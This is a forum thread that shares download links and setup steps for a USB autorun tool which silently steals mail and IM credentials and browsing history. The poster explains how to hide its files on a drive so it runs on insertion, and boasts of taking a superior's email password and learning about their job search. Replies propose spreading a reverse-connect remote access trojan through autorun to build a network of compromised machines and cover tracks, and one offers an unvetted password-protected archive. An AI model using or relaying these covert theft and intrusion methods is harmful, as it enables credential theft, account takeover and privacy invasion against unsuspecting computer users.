Tool for quickly grabbing useful information from a computer

[hX_]

The tool is called USB Hacksaw. I've uploaded a pre-configed version here (silent autorun works more often)

Code: Select all

http://www.fileden.com/files/2006/11/5/350876/lolsteal.zip

Also available from:

Code: Select all

www.hak5.org

This would be a very useful tool to run if night/black opping inside a company and will fit and run on any storage device with 1MB or more storage free. Possibly even a floppy disk (may be slow though)!

Silently (no program box or notifications) Steals:
Mail User/Pass
IM User/Pass
History (including history of opened documents)
And "Selected" which I have had no returns on as yet.

Put all of the files/folders from lolsteal into the root of the drive and set those files to hidden (though properties), excepting autorun.inf.

When the drive is inserted double clicking the icon in my computer will run the apps, also choosing to top option on the popup dialouge asking what to do will run the tool. The tool quickly dumps the info to /DUMP/*computername*

Works on any device that can be inserted into the PC and can be written to; SD/XD card, USB stick, digital camera, generic MP3 player etc.


1 day after downloading it for the first time I have already found out 2 interesting things even in plain view of the owner of the computer.

1: an email username/password for someone "higher up" than me.
2: The fact that that person is jobseeking (found through history)


Have fun with this!

[stealththief]

Seems useful for black ops. You might even be able to get a job using that kinda stuff. If you know any local hackers or aggressive businessmen you could probably use this. Or else its just generally useful and versatile. Could you specify what selected does?

[hX_]

I had no results and I don't know what it is anyway.

Sorry, there may however be some clarifications on the tool's official website: hak5.org

It's all very useful. Especially when "giving in coursework" because at the same time, the drive is copying over information that could prove useful.

[sirholkms]

I would just use a Remote Access Trojan with reverse connection (reverse connect is where the RAT connects to you, because if the computer is behind a router or a fire wall you can not connect to it and seeing as about 90% of computers are your attempts will be futile) and write a simple autorun.ini file on the drive to automatically run my RAT so I can create a network of machines to data mine from and explore. If it is a business they usually always run some kind of Remote Access Administration system connected to a computer (hopefully) on there network. These machines can be hacked quite easily, basic networking knowledge is required and common sense to break into there admin interface were one will be able to view the facility's surveillance and or erase all possible tracks remotely.

Once root has been obtained the machines are considered owned and you can start using that oversized hunk of sensory neurons you call a brain to make some serious cash for you.



Hmm this seems like a useful thing to bring on an op I shall steal this idea.

[The Soldier]

great post

[killdozer]

I can't seem to get either the fileden or the hak5 links to work...
do you know where else I can find them?

[lnsurgent]

I can't seem to get either the fileden or the hak5 links to work...
do you know where else I can find them?

Here's the direct link from the site:

http://www.hak5.org/releases/2x03/hacks ... 0.2poc.rar

If someone could please direct me to using this on a regular ole flash stick, that'd be much appreciated.

[killdozer]

Thanks for the link. Now that I see the URL I see that I already have that program though.

[Urgon]

AVE...

I have better tools for you: COFFE for getting intel from all Windows200 and above computers, and DECAF to protect your machines...
COFFE is used by police forces all over the world. It's a toolset made by Interpol and Microsoft...

Code: Select all

http://hotfile.com/dl/91935617/96c44ee/BADDCAFE.rar.html

For pass just HEX-to-DEC the filename...
If the file won't be avaible, then send me a PM...

[Xenia]

That looks like a fantastic program.

Very discreet.